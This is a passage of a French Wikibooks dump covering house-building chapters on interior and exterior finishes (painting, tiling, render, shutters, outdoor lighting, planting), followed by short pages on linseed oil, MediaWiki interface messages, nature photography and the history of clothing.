l’appareillage électrique est normalisé, que chaque prise est correctement câblée... Un particulier qui a réalisé lui-même son installation sera systématiquement inspecté. Le certificat délivré est valable pour l’installation en l’état où elle se trouvait le jour de la recette.(ou réception en France) Au Canada, un entrepreneur électricien est le seul autorisé à effectuer la demande d’inspection et de raccordement. Le bricoleur doit donc s’entendre avec un entrepreneur avant de débuter ses travaux car autrement l’entrepreneur peut refuser de cautionner tout travail qu’il n’aura pas fait lui-même. == Installation antivol == Sommaire général : [[Construire sa maison]] Construire sa maison - mobilier fixe 7275 34707 2006-02-25T11:30:59Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] Le terme ''mobilier'' est inapproprié puisqu’il s’agit justement d’éléments de construction en théorie immobiles. Leur réalisation peut être entreprise à partir de matériel préfabriqués (éléments de cuisine à adapter, portes de placards, étagères...) ou réalisés de toutes pièces à partir de matériaux de base comme du bois bruts, des panneaux de particules de bois aggloméré, des structures métalliques modulaires... Dans ce dernier cas, une machine à bois combinée et un stock de plateaux de chêne ou autre bois dur d’ébénisterie seront bien utiles. Lors de l’étude d’implantation du mobilier fixe, on prendra en compte les boîtes de dérivation, compteurs, trappes de ramonage ou de visite, robinets... qui peuvent être éventuellement incorporés dans un meuble mais pas masqués par celui-ci. == Cuisine == == Salle de bain == == Placards et penderie == Souvent ces endroits de stockage sont les parents pauvres du mobilier car on les place «&nbsp;là où il reste de la place&nbsp;» alors qu’ils devraient être conçus pour remplir une fonction bien identifiée dès le début du projet. Les placards peuvent être des éléments intéressants de l’isolation thermique en constituant un volume tampon contre un mur extérieur. La largeur d’une penderie doit être largement supérieure à celle d’un cintre et la position des tringles doit être réglable en hauteur. Pour les enfants, prévoir une tringle à leur hauteur. La partie inférieure d’une penderie peut être utilisée pour installer des tiroirs. Pour les chaussures il est préférable de disposer d’un meuble particulier. Dans tous les cas prévoir la ventilation des placards et penderies. == Bar == Sommaire général : [[Construire sa maison]] Construire sa maison - Les finitions intérieures 7276 34712 2006-02-25T12:04:15Z F5ZV 1177 ajouts sous-section double rideaux Sommaire général : [[Construire sa maison]] Ce chapitre est celui où la personnalité de l'autoconstructeur va être le plus mise à contribution. La grande diversité des styles et des produits disponibles sur le marché permettent des possibilités infinies de décoration. == Revêtements de mur == === La peinture === Malgré la concurrence des papiers peints et revêtements muraux de toutes sortes, il est encore fréquent d’utiliser une laque pour peindre murs et huisseries. Avantages de la peinture&nbsp;: * faible coût au mètre-carré pour les matériaux, * choix infini des couleurs, * entretien facile par lessivage ou pose d’une nouvelle couche. Inconvénients&nbsp;: * nécessité d’un support sain et régulier, * exige du soin et un minimum de savoir-faire, * manque d’originalité. La peinture peut être appliquée directement sur le plâtre si la surface de celui-ci est parfaite. Dans le cas contraire on pourra d’abord poser un papier à peindre présentant un grain ou un relief ou encore un tissu à coller. Les irrégularités les plus discrètes doivent être camouflées par un enduit à grain très fin soigneusement poncé. Un support absorbant doit être obligatoirement nourri à l’aide d’une ou plusieurs sous-couches. Entre chaque couche de peinture, on aura intérêt à passer un très léger coup de papier de verre à grain fin pour éliminer le moindre défaut. La laque s’étale à la brosse dans les endroits inaccessibles au rouleau. Ce dernier doit être un modèle à poil ras de la meilleure qualité. Une laque brillante est plus délicate à réaliser qu’une laque satinée, les produits les moins chers sont à éviter si on cherche un résultat correct. Les laques monocouches en nécessitent généralement deux. Le choix des teintes dépend aussi de l’éclairage, par exemple une couleur lumineuse comme le jaune paille ensoleillera une pièce située au nord. Noter et conserver soigneusement la marque et la référence de la teinte utilisée. === Moquette et tissu sur papier === Il existe une grande variété de revêtements muraux dont la pose s’apparente à celle du papier peint. On les trouve facilement sous la forme de rouleaux de papier recouvert de tissus, de fil, de fibres diverses. Les motifs et les couleurs permettent une décoration variable à l’infini. Le relief et l’apparence de ces revêtements donne une impression de chaleur et d’intimité. Les produits les plus épais et isolants favorisent la lutte contre la condensation sur les points froids (voir ponts thermiques)&nbsp;; en absorbant les sons, ils permettent de faire diminuer le niveau sonore dans la pièce. Un inconvénient&nbsp;: les fibres et tissus sont fragiles et ces revêtements ne conviennent pas dans les endroits de passage (couloirs, cage d’escalier étroite) ou les locaux dans lesquels des projections d’eau ou de poussière peuvent se produire. La pose est assez facile à condition d’être soigneux et d’utiliser des produits de bonne qualité. Commencer par tracer une ligne verticale sur le mur et préparer les lés en laissant une sur-longueur de quelques centimètres qui pourra être arasée à l’aide d’un cutter et d’une règle au plafond et au niveau du sol. Etaler à l’aide d’une spatule crantée la colle spéciale (à base d’acétate de polyvinyle, par exemple) sur le support sec, propre, sain, dépoussiéré, sans aspérité ni fissure trop importantes. Les lés se posent bord à bord en marouflant à la main ou au rouleau pour chasser les bulles d’air. === Carrelage mural === La faïence murale peut être employée dans de nombreux endroits et s’associer avec d’autres revêtements muraux, non seulement dans les salles d’eaux, cuisines et buanderies mais aussi dans des entrées, vérandas, couloirs... Pour la décoration on peut jouer à la fois sur les motifs, les formes de carreaux et les couleurs aussi bien que sur les reliefs, le brillant et le mat pour laisser apparaître ou non des reflets. Le support doit être parfaitement plan, passer une couche d’impression sur les plâtres et plaques de plâtre. Lors de la pose, veiller à contrôler les lignes horizontales et verticales, même dans le cas d’utilisation de croisillons en plastique pour garantir l’épaisseur des joints. Etaler la colle régulièrement à l’aide d’une spatule crantée, appuyer modérément et uniformément sur les carreaux en vérifiant à la règle la planéité de l’ensemble. Les joints doivent être faits au moins 24 heures après la pose des carreaux. Pour les bacs à douches, utiliser obligatoirement un produit hydrofuge en vérifiant qu’il n’y a pas de bulle d’air dans les joints. Le matériel spécifique est limité&nbsp;: * carrelette * tronçonneuse sur table à disque diamanté * pince de carreleur pour les découpes * trépan diamanté pour les coupes circulaires Conserver en lieu sûr quelques carreaux pour réparation éventuelle. == Éclairage == == Stores et rideaux == Dans une habitation, on rencontre une grande variété de rideaux et de stores imposée par leurs multiples fonctions&nbsp;: * Décoration&nbsp;: pour habiller une fenêtre, jouer sur les matériaux (tissu...) les textures et les couleurs. * Écran visuel&nbsp;: le plus léger rideau (dentelle, mousseline...) introduit intimité et discrétion * Pare-soleil&nbsp;: les lumières trop vives sont atténuées voire arrêtées dans le cas de rideaux épais * Isolation thermique&nbsp;: des double-rideaux participent à la lutte contre les déperditions d’énergie en réduisant la convection de l’air au niveau des portes et des fenêtres Stores et rideaux coulissants dans des rails peuvent être manœuvrés à l’aide d’une tige (lance-rideau). === Les stores === Le store est en général un écran léger, réalisé à l’aide de lamelles en plastique pouvant s’orienter à l’aide d’un cordon de manœuvre ou d’une tringle. Il est ainsi possible de régler l’intensité de la lumière tout en masquant la vue. Un store extérieur en résille peut laisser passer une grande partie des rayons lumineux en stoppant les infrarouges. Les châssis de toit (type «&nbsp;Velux&nbsp;») peuvent être munis de stores extérieurs contre les rayons infrarouges et de stores intérieurs clairs pour préserver l’intimité ou totalement opaques pour bloquer la lumière du jour. === Les double-rideaux === On les réalise habituellement dans un velours souple doublé par un tissu clair tourné vers la lumière. Le métrage doit largement tenir compte des plis, la hauteur du rideau doit être calculée en fonction de l’allongement dû au poids du tissu (faire un essai pendant quelques jours avant de réaliser les ourlets). Les double-rideaux donnent une impression de chaleur et d’intimité dans une pièce mais ont tendance à l’assombrir. Sommaire général : [[Construire sa maison]] Construire sa maison - finitions et aménagements extérieurs 7277 37827 2006-03-15T21:07:22Z 82.65.33.157 /* Clôtures et portail */ Sommaire général : [[Construire sa maison]] Dés l'avant-projet, l'implantation de la construction va déterminer en grande partie ce que seront les aménagements extérieurs. Les grands volumes seront fixés, la position des chemins et allées sera définies et les plantations, arbres et massifs, auront été envisagés. Mais il restera encore beaucoup à faire quand la maison sera devenue habitable et il faudra beaucoup de temps encore à la nature pour que soit stabilisée l'apparence de la maison et de son environnement. Mais en attendant on peut procéder à l'exécution des enduits et peintures et à l'aménagement des allées ou à l'installation de l'éclairage extérieur. == Enduits et crépis == L’enduit est une mince couche de mortier qui assure plusieurs fonctions&nbsp;: * rendre étanche la façade à la pluie, * cacher les parpaings ou les briques. Traditionnellement on réalise l’enduit en projetant sur le mur un mélange de sable fin (0-3mm), de chaux et de ciment. La chaux rend le mortier plus pâteux, ce qui facilite son accrochage. La méthode est simple, sa mise en œuvre réclame un «&nbsp;coup de patte&nbsp;» qui s’acquiert au bout de quelques dizaines de mètres-carré&nbsp;: * Fixer sur le mur des lattes dont l’épaisseur est égale à celle de l’enduit terminé (5 à 10mm). * Sur les angles (extrémités du mur, bords de fenêtres...) sont fixés des lattes dépassant de l’épaisseur de l’enduit fini. * Par temps de vent et temps très sec, mouiller copieusement le mur à enduire. * Préparer un mortier très liquide (consistance de la soupe) et «&nbsp;salir&nbsp;» le mur. C’est l’opération de ''gobetis''. * Lorsque le gobetis a suffisamment durci, au bout de quelques heures, on peut projeter la première couche (épaisseur 5mm environ) puis vérifier qu’elle ne dépasse pas la hauteur des lattes en glissant une règle en alu sur celles-ci. * Quelques heures plus tard on peut projeter une deuxième couche, voire une troisième couche si l’épaisseur à combler dépasse 10&nbsp ;mm. * Lisser la dernière couche à la taloche, racler le surplus à la règle en alu, combler les manques et talocher à nouveau. * Enlever les lattes intermédiaires et remplir les vides en talochant * Pour obtenir une surface lisse, attendre que l’enduit ait ''tiré'' un peu puis le talocher délicatement avec un morceau de polystyrène expansé. == Peinture == La peinture des façades ne pose guère de difficultés si l’on dispose du matériel d’échafaudage adéquat. Peindre à partir d’une échelle est possible mais pour le moins malaisé au dessus de 5 mètres. A partir du sol, un adulte de taille ordinaire peut atteindre deux mètres de hauteur. Un simple escabeau suffit pour une hauteur d’étage, un petit échafaudage mobile permet de peindre jusqu’à pratiquement 4 mètres. === Matériel de peinture === * seau muni d’une grille d’essorage et d’un système d’accrochage sur échelle, * rouleau en laine de bonne qualité, * pinceau largeur 40 ou 50 pour les endroits inaccessibles au rouleau (angles rentrants, huisseries...), * seau rempli d’eau claire, * chiffons, * cornets en plastique pour emballer provisoirement les outils, * lunettes de sécurité contre les projections, * couvre-chef contre les projections, * bonnes chaussures pour monter à l’échelle, * harnais de sécurité si nécessaire. === Le produit === Le choix de la teinte doit être fait en fonction des règles locales ou traditionnelles et de l’environnement&nbsp;: * construction voisines, * couleurs des autres éléments de la construction, * mise en valeur de la végétation... Si la façade comporte des éléments en saillie ou en creux, ceux-ci devraient être peints avec des teintes différentes pour les faire ressortir ou pour les rendre plus discrets selon le cas. En cas de difficulté pour le choix des couleurs on aura intérêt à consulter un spécialiste (architecte, coloriste, urbaniste...)&nbsp;; les services de la DDE ou de la ville de résidence pourront être utiles pour cela. La nature et la qualité de la peinture dépendent à la fois du support (enduit, peinture existante, pierre, béton...) et de l’exposition. Il est préférable de s’approvisionner chez un professionnel réputé que dans une grande surface. Même si le prix semble élevé, il sera encore plus élevé si on est obligé de recommencer le travail au bout de quelques années parce que la peinture en promo se décolle, cloque, farine, se délave, se décolore, moisit, ramasse la poussière... On peut toujours négocier une remise chez le revendeur avec l’aide d’un artisan. Le produit de base est blanc et sera teinté à la machine. Noter la marque et référence de la teinte et la conserver en un lieu sûr pour en commander à nouveau si nécessaire. Une bonne peinture couvre environ 10&nbsp;m²/litre. Si le support est particulièrement absorbant ou rugueux, on passera d’abord une sous-couche en majorant la quantité estimée de 5 à 10&nbsp;%. Le surplus de peinture devra être conservé dans un pot plein et hermétiquement fermé. Tous les ans, il est indispensable de mélanger la peinture pour éviter la décantation. Si une peau s’est formée en surface ou une couche dense non miscible s’est déposée au fond du pot, la peinture est inutilisable (ne pas rejeter directement à l’égout ni mettre à la poubelle car les peintures sont des toxiques traités séparément). === Préparation du support === Dans le cas de la rénovation, il faut d’abord enlever toutes les saletés, écailles de peinture, mousses, lichens, poussières... à la brosse ou au nettoyeur à haute pression. Reboucher ensuite les trous et fissures, réparer les éclats, faire tomber les morceaux d’enduits sonnant le creux et refaire l’enduit. Si des morceaux de fer (têtes de clous, armature du béton…) sont apparents, il vaut mieux les traiter sommairement avec une peinture mate antirouille. === Préparation du chantier === * Démonter les volets battants et glissières de volets roulants. * Protéger les huisseries, sols, rambardes... contre les éclaboussures, * Utiliser du papier autocollant pour délimiter les surfaces à peindre. === Méthode de travail === * Installer échelle ou échafaudage pour débuter par le haut. µ * Commencer par les teintes les plus claires. * Ne pas peindre si la température est inférieure à 5°C ou supérieure à 25°C, par grand vent ou s’il y a des risques de pluie. * Travailler à l’ombre ou, si possible, attendre que le soleil tourne. * La première couche doit être diluée à 5 ou 10% et bien mélangée. Elle nourrira le support si celui-ci est très absorbant. * Bien essorer le rouleau pour éviter la projection de gouttes. * Rouler lentement en montant sans appuyer pour répartir la peinture. * Couvrir un tiers de mètre-carré environ par bandes verticales puis repasser sur la même surface par bandes horizontales. S’il reste des points du support non recouverts, ajouter un peu de peinture et rouler de nouveau dans les deux sens pour répartir un film uniforme. Il ne doit pas y avoir de manques ni de surépaisseur. Bien que ce ne soit pas obligatoire avec une bonne peinture, il vaut mieux terminer en roulant verticalement, vers le bas. On évite ainsi de voir les ''coups de pinceau'' apparaître quelques années plus tard. Les peintures ''à l’eau'' sont hors poussière très rapidement, surtout par temps sec mais il faut prévoir au moins douze heures entre chaque couches. Les outils se nettoient à l’eau, par trempage ou au moyen d’un tuyau d’arrosage. On peut ensuite les conserver quelques jours dans l’eau claire mais il vaut mieux en changer pour un nouveau chantier important. La durée de vie d’une bonne peinture est de l’ordre de 10 ans au minimum, beaucoup plus pour les murs abrités du soleil et des intempéries. == Bardage == Un bardage est un revêtement de mur extérieur jouant les mêmes rôles que l’enduit&nbsp;: * protection contre la pluie, contre les chocs * décoration Autrefois uniquement en bois ([[tavaillon]] ou planches), le bardage est réalisé maintenant à l’aide de nombreux matériaux comme par exemple&nbsp;: * tôle métallique peinte cuite au four, * PVC, * [[bardeau|bardeaux]] de shingles. Dans le cas de l'isolation des murs par l'extérieur, le bardage est fixé sur la structure qui supporte le matériau isolant. Il doit être ajusté de façon à interdire l'introduction des animaux (souris, loirs, fouine...) et insectes (abeilles sauvages, guêpes...). On aura intérêt à choisir un bardage qui puisse se réparer facilement en cas d'accident (fréquents en bas des murs : prévoir quelques plaques de rechange) et qui vieillisse bien. Le PVC teinté a souvent tendance à se décolorer (cela dépend de la nature des pigments, de l'exposition aux rayons ultra-violets...) et la tôle peinte à perdre son brillant. Le shingle résiste bien. Le bois nécessite un entretien régulier qui va de cinq ans (façades exposées à la pluie) à dix ans. == Volets == L'usage des volets n'est pas universel, ils sont complètement absents dans certains pays. Pourtant ils sont utiles à plusieurs titres : * renforcement de l'isolation thermique des ouvertures (portes et fenêtres) * protection contre les effractions et les jets de pierre * écran contre la lumière solaire et les regards indiscrets * participation à l'esthétique de la construction On rencontre plusieurs types de volets : * volets battants en bois ou PVC * persiennes en bois ou métal (fer...) * volets roulants en bois, PVC ou aluminium La pose des volets ne présente pas de difficultés particulières. On peut envisager d'acheter les matériaux et de les assembler soi-même. Le point délicat est la prise de cotes en s'assurant que les diagonales de l'ouverture sont identiques. Prévoir les jeux nécessaire au fonctionnement. Le caisson des volets roulants ne doit pas être une source d'entrée d'air froid. Le plus simple est de l'incorporer dans l'épaisseur du mur extérieur et de dérouler le tablier au nu de la façade. la protection contre le vent est alors maximum. A ce propos il est judicieux de choisir des glissières anti-vent qui amortissent les mouvements des lames du volet et diminuent le bruit lors des tempêtes. Il existe des tambours de volets roulants avec moteur électrique incorporé ; ce système permet une commande d'ouverture-fermeture à l'aide d'un simple interrupteur. On trouve des lames de volets roulants très minces qui autorisent la réalisation de caissons aux dimensions réduites, en particulier pour la rénovation. Pour le PVC, préférer les couleurs "naturelles" du PVC qui n'ont pas tendance à se décolorer. La réalisation de volets battants ne pose pas de problèmes particuliers pour l'autoconstructeur averti. Choisir des lames de bois de premier choix bien droites. Attention à la position des écharpes et des barres dont le but est d'éviter la déformation des volets en place. Comme le bardage en bois, les volets doivent être régulièrement entretenus, surtout s'ils sont orientés à l'ouest. == Stores == Stores à banne, stores pare-soleil. == Accès et allées == les elements de fermetures exterieurs comme les clotures et portails sont d'une importance non negligable car elle permettent de securiser et d'embelire votre maison. == Éclairage == L’éclairage extérieur présente plusieurs utilités&nbsp;: * il facilite le déplacement ou le travail dans les chemins et zones qu’il éclaire dés que le soir approche, * il améliore la sécurité, ou du moins le sentiment de sécurité en dissuadant les éventuels cambrioleurs, * il participe à la mise en valeur de l’architecture (lumière rasante, ombre...). On aura intérêt à prévoir dés le début de la construction les canalisations et points de fixation des luminaires, des détecteurs d’approche et des interrupteurs. Exemples de zones à éclairer&nbsp;: * sonnette électrique, plaque indiquant les noms des propriétaires, * allées et chemins piétonniers, * aires de stationnement, abris, * porte d’entrée, * aires de jeux, de pique-nique, terrasses, * remises et appentis, * balcons et loggias, * piscine et bassin. Plusieurs types de luminaires peuvent être utilisés&nbsp;: * projecteurs situés en hauteur et couvrant une large zone, * lampadaires, éventuellement décoratifs, * bornes lumineuses placées au ras du sol et balisant un chemin, * simple hublot fixé au mur ou au plafond d’un endroit couvert, * lampes dissimulées et procurant un éclairage indirect, * dalles lumineuses (sentier, terrasse), * balises de marches d’escalier. Un projecteur puissant, même placé très haut, est généralement éblouissant, ce qui peut être un avantage quand il permet aux habitants de surveiller les approches de leur habitation. Dans les autres cas il faut s’arranger pour que l’intensité de la source lumineuse soit faible ou que la lumière soit indirecte. L’appareillage doit être choisi de bonne qualité, étanche et résistant aux chocs, capable de supporter largement la puissance de l’ampoule qu’il abrite. Il doit être fixé solidement sans risquer de se détacher par grand vent ou de se dérégler. La commande de l’éclairage peut être&nbsp;: * permanente (éclairage peu puissant d’un bouton de sonnette, veilleuse, bornes lumineuses), * automatique dés que le soir tombe, à l’aide d’une cellule photo-électrique, * automatique par détection de mouvement, * manuelle, par "tout ou rien", * temporisée à l’aide d’une minuterie. Il est souhaitable d’installer un voyant à l’intérieur de l’habitation pour signaler le fonctionnement de l’éclairage extérieur. Les détecteurs d’approche à infrarouges sont sensibles aux variations rapides de température dans la zone qu’ils surveillent, généralement sur deux secteurs assez larges (120°), l’un proche et l’autre un peu plus éloigné. La distance maximum de détection d’un être humain est de l’ordre de 10 mètres. Deux boutons ou vis de réglages permettent de choisir le niveau d’obscurité à partir duquel le détecteur fonctionne et la durée de fonctionnement après détection d’un mouvement (entre quelques secondes et quelques minutes). Il est préférable de choisir du matériel de bonne qualité, plus fiable, plus résistant et plus sensible. == Plantations == Il n'est pas nécessaire de posséder un grand terrain pour donner une impression d’espace autour de l’habitation, un bon agencement des volumes construits et des végétaux tenant compte des points de vues, de l’environnement et de l’évolution dans le temps des plantations peut permettre d’obtenir un résultat satisfaisant avec des moyens réduits. L’observation des jardins publics (en particulier d’inspiration orientale) et des propriétés voisines peut être une bonne source d’inspiration. Le choix des arbres et arbustes se fera en tenant compte de leur vitesse de croissance et de leur aspect à l’âge adulte, de la nature du sol, de l’ensoleillement, de la vue souhaitée, du travail de taille et d’entretien, de la chute des feuilles à l’automne (gouttière), de la couleur du feuillage à différentes saisons, des accès nécessaires (camion de vidange ou de livraison)... La plantation d’un verger nécessite un grand terrain mais, à défaut, il possible de se contenter d’arbres taillées en espaliers. Le gazon réclame une préparation soigneuse du terrain&nbsp;: * nivellement, * apport de sable d’amendement ou d’humus, * drainage ou système d’arrosage... Choisir un mélange adapté à l’usage souhaité, à la nature du sol, à l’éclairage... Penser à la proximité des arbres qui, par leur ombre ou leurs racines, perturberont la pousse de l’herbe. À moins d’avoir une surface engazonnée d’une superficie supérieure à un ou deux ares, on évitera de placer au centre de la pelouse un massif de fleurs ou un arbuste. Les talus sont difficiles à tondre mais se prêtent généralement bien aux plantations de fleurs et de petits arbustes. La culture d’un petit jardin potager est une source de grandes satisfactions. Le choix de l’emplacement doit tenir compte de l’ensoleillement, du vent, de la nature de la terre (en modifier la composition si nécessaire). Prévoir un emplacement pour le rangement des outils et pour le composteur de déchets ainsi qu’un robinet d’arrosage. Si le terrain est très humide on pourra ceinturer le potager d’un système de drainage ou le surélever d’une vingtaine de centimètres. Sommaire général : [[Construire sa maison]] Huile de lin 7280 34751 2006-02-25T18:20:38Z Greudin 1 liens internes Pour la [[peinture à l'huile]], l'[[w:huile de lin|huile de lin]] est l'une des meilleures huile, tant par son pouvoir siccatif que par sa fluidité. Cette Fluidité permet d'incorporer beaucoup de pigment dans la pâte de la peinture. Moins il y a d'huile dans une peinture, et mieux cela est. Toutefois, comme toutes les huiles, elle a tendance à jaunir dans l'obscurité et à s'éclaircir à la lumière du soleil. Autant accepter sa teinte légèrement jaunatre plutôt que d'essayer de la clarifier et de la voir jaunir avec le temps. Elle sèche en trois ou quatre jours si on a bien pris soin de n'en mettre qu'une couche mince. Les Maladies et les Nuisibles au jardin 7281 34748 2006-02-25T18:15:18Z Greudin 1 [[Les Maladies et les Nuisibles au jardin]] déplacé vers [[Les maladies et les nuisibles au jardin]]: typo #REDIRECT [[Les maladies et les nuisibles au jardin]] MediaWiki:Allmessagesfilter 7282 sysop 46672 2006-07-01T18:48:48Z MediaWiki default Filtre d'expression régulière : MediaWiki:Allmessagesmodified 7283 sysop 46673 2006-07-01T18:48:48Z MediaWiki default N'afficher que les modifications MediaWiki:Anoneditwarning 7284 sysop 46685 2006-07-01T18:48:48Z MediaWiki default '''Attention :''' Vous n'êtes pas identifié. Votre adresse IP sera enregistrée dans l'historique de cette page. MediaWiki:Confirmedittext 7285 sysop 46711 2006-07-01T18:48:48Z MediaWiki default Vous devez valider votre adresse de courriel avant de modifier une page. Veuillez entrer et valider votre adresse de courriel grâce à [[Special:Preferences|user preferences]]. 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MediaWiki:Youhavenewmessagesmulti 7307 sysop 47122 2006-07-01T18:48:51Z MediaWiki default Vous avez de nouveaux messages sur $1 Modèle:Programmation Algorithmique 7309 35108 2006-02-28T14:37:23Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Programmation Algorithmique|Algorithmique]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Algorithmique]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Programmation Algorithmique|Accueil]]</small> *<small>[[Programmation Algorithmique Introduction|Introduction]]</small> *<small>[[Programmation Algorithmique/Tableaux|Les tableaux (sauf tris)]]</small> *<small>[[Programmation Algorithmique/Maths 1|Mathématiques simples]]</small> *<small>[[Programmation Algorithmique/Tris|Les tris]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%E8le:Programmation_Algorithmique&action=edit Modifier ce modèle]</small> |} Algorithmique/Sommaire 7310 35111 2006-02-28T14:40:12Z Merrheim 1032 * [[Programmation Algorithmique Introduction|Introduction]] *[[Programmation Algorithmique/Tableaux|Les tableaux]] *[[Programmation Algorithmique/Maths 1|Mathématiques simples]] *[[Programmation Algorithmique/Tris|Les tris]] Photographie - 31 - La nature 7311 34831 2006-02-26T13:04:14Z Jean-Jacques MILAN 114 {{Photographie}} {{ébauche}} == Définition de la photographie de nature == La photographie de nature est un domaine à part, dont la pratique obéit à des règles éthiques strictes. Le véritable photographe de nature s'interdit d'intervenir si son action doit modifier l'ordonnance de la scène qui se déroule devant lui. En particulier, son respect de la vie sous toutes ses formes doit le conduire à renoncer à une prise de vue, si celle-ci risque de mettre en péril les êtres photographiés. D'ailleurs, dans la plupart des concours de photos de nature, les clichés représentant des oiseaux au nid sont purement et simplement interdits. Même s'ils ne s'en rendent pas toujours compte, '''les photographes de nature inconscients peuvent être aussi nuisibles à la vie sauvage que les chasseurs'''. ''Rien n'est plus dangereux que l'ignorance en action'', disait Goethe. Le photographe naturaliste n'est sûrement pas celui qui s'en va faire un safari photo au Kénya pour en ramener quelques photos de lions ou d'éléphants susceptibles d'épater ses voisins, mais celui qui s'efforce de connaître de façon approfondie les milieux naturels et les êtres qu'il souhaite « immortaliser ». {| border="1" cellpadding="5" cellspacing="0" |- |<center>La '''Fédération Internationale de l'Art Photographique''' (FIAP) donne la définition suivante :</center> La photographie nature représente des animaux vivants non apprivoisés et des plantes non cultivées dans leur environnement naturel, la géologie et la grande diversité des phénomènes naturels, allant des insectes aux icebergs. Des photos d'animaux domestiqués, tenus en cage ou soumis à une quelconque forme de restriction, ainsi que des photos de plantes cultivées, sont inadmissibles. Une intervention minimale de l'homme est acceptable pour des sujets nature, comme par exemple des hiboux de grange ou des cigognes, s'adaptant à un environnement modifié par l'action de l'homme, ou des forces naturelles, tels que des ouragans ou des raz-de-marée, le revendiquant. La photo originale doit être prise par le photographe, peu importe le procédé photographique. Toute manipulation ou modification de la prise de vue originale doit se limiter à de minimes retouches d'imperfections et ne peut en aucun cas modifier le contenu de la scène originale. Après avoir satisfait ces conditions, tout effort sera fait, afin que toutes les photos nature soient du plus haut niveau artistique. |- |} == Photographie de nature et GPS == La localisation précise d'une zone, d'une station ou d'un spécimen est souvent importante pour le naturaliste en général et pour le photographe naturaliste en particulier. Le [[w:GPS|GPS]] permet de connaître sa position, y compris son altitude, avec une précision comprise entre 1 et 15 mètres, et d'établir des itinéraires permettant d'accéder le plus facilement possible à un endroit déterminé. * Les GPS dépourvus de logiciels de cartographie intégrée, les moins chers, travaillent avec des « points de trace » définis par leurs coordonnées GPS, des routes ou ensembles de points de trace reliés entre eux et des tracés, qui sont des itinéraires mémorisés sans points de trace. Ils sont plutôt à réserver aux randonneurs expérimentés. * Les GPS avec cartographie intégrée sont plus chers que les précédents ; ils ont en mémoire une cartographie simplifiée comportant les villes principales et les routes importantes dans laquelle ils situent les points de trace. Ils peuvent généralement mettre en mémoire des cartes plus détaillées à partir de logiciels de cartographie vendus par leurs fabricants. Vêtements 7314 45249 2006-06-20T05:47:12Z 83.202.181.118 == '''Pourquoi s'habille-t-on ?''' == Diverses raisons ont amené les hommes à porter des vêtements. == '''S'habiller pour se protéger des intempéries''' == '''Le vêtement est né avec le froid Les premiers hommes ont vécu nus tant que le climat le permettait.''' Il y a 60 000 ans environ, le refroidissement du climat obligea les hommes de nos régions à protéger leur corps du froid. Constatant que les animaux qu'ils chassaient étaient mieux protégés par leur fourrure, ils eurent l'idée d'utiliser cette dernière pour en couvrir leur corps. On représente souvent les hommes préhistoriques couverts de peaux de bêtes, alors qu'on n'a jamais retrouvé ni cuir ni fourrure datant de cette lointaine époque. Mais l'étude scientifique des outils de pierre, retrouvés sur leurs sites d'habitation, permet d'affirmer avec certitude que des hommes les ont utilisés pour découper des peaux d'animaux. '''Comment peut-on dater les restes préhistoriques retrouvés ?''' Les archéologues relèvent tout ce qui se trouve sur la même couche du sol, donc datant de la même époque. Les restes d'êtres vivants (plantes, ossements) contenaient du carbone et ont perdu progressivement, au cours des siècles, une partie radioactive (appelée carbone 14) qu'ils possédaient de leur vivant. Le calcul du pourcentage de perte permet de dater leur époque. Comment peut-on déterminer à quoi ont servi les outils préhistoriques ? Les scientifiques fabriquent des outils de pierre ou d'os identiques à ceux que l'on a retrouvés et les utilisent pour découper ou percer divers matériaux. L'observation comparée, au microscope à balayage électronique, des outils préhistoriques authentiques et de leurs copies permet de déterminer quels types de matériaux ils avaient servi à découper ou percer. '''Une tradition probablement très ancienne''' Au début de notre siècle, des indigènes de la Terre de Feu, à l'extrémité de l'Amérique du Sud, vivant dans un climat rude, portaient pour seuls vêtements des capes de fourrure. Les premiers vêtements préhistoriques ressemblaient probablement à ces capes. '''Des vêtements servant aussi des camouflages''' Il est probable que les pattes des peaux de bêtes donnèrent aux hommes l'idée de s'en servir comme ceinture ou bretelles pour les attacher au corps. Plus tard, les aiguilles d'os retrouvées montrent que les peaux étaient cousues. Les fourrures avaient également l'avantage de permettre aux chasseurs de mieux s'approcher des animaux chassés. Les vêtements servaient ainsi de camouflage si l'on en juge par certaines gravures rupestres (dessinées sur les parois des cavernes). '''Une adaptation au froid polaire, le costume esquimau''' Le chasseur esquimau, affrontant les tempêtes de neige sur la banquise, n'avait de chance de survivre que si sa femme savait lui fabriquer des vêtements protecteurs. Voici le costume d'un esquimau du grand nord canadien vers 1950 : Les sous-vêtements sont en peau d'eider (canard sauvage nordique), tannée avec ses plumes. Le pantalon et l'anorak sont en peau de caribou (renne de cette région) dont la fourrure est tournée vers l'intérieur. Le chasseur endosse en plus un deuxième anorak dont la fourrure est à l'extérieur, avec, autour de la capuche, une bordure en peau de glouton (carnivore du grand Nord), la seule espèce de poil qui ne gèle pas sous l'haleine humide de l'homme. C'est l'air emprisonné entre les couches de vêtements qui sert d'isolant contre le froid. Aux pieds, des bottes en peau de phoque ou de caribou. Des moufles de fourrure protègent les mains . Pour protéger les yeux des reflets aveuglants sur la glace, une paire de lunettes, simple planchette de bois ou d'ivoire trouée de deux fentes. Sous l'influence du modernisme, les coutumes vestimentaires ont changé, ce qui n'est pas toujours un progrès lorsqu'il faut affronter le grand froid. '''Dans la chaleur torride du désert, le costume du nomade.''' La traversée des déserts de sable, au Sahara ou au Moyen Orient, pose au-tant de problèmes que le grand froid. Sous l'effet du soleil violent, la peau se dessèche, l'eau du corps s'évapore si l'on n'est pas protégé. La nuit, par contre, la température se refroidit brutalement. Parfois se lève une tempête de sable qui cingle la peau et blesse les yeux. Voici comment les Touaregs ou les Bédouins se protègent dans le désert : Les vêtements sont amples et superposés. L'air emprisonné entre les différentes couches de tissu sert d'isolant et protège le corps de la température extérieure. Sur la tête, une longue bande de tissu est enroulée en turban pour isoler le crâne des rayons du soleil. L'extrémité du tissu sert aussi à couvrir le visage, en ne laissant qu'une mince fente pour le regard. Aux pieds, des sandales très ouvertes permettant de marcher sur le sol brûlant sans les remplir de sable. '''Se protéger du froid sous nos climats.''' Même sous les climats tempérés, une des fonctions du vêtement est de protéger 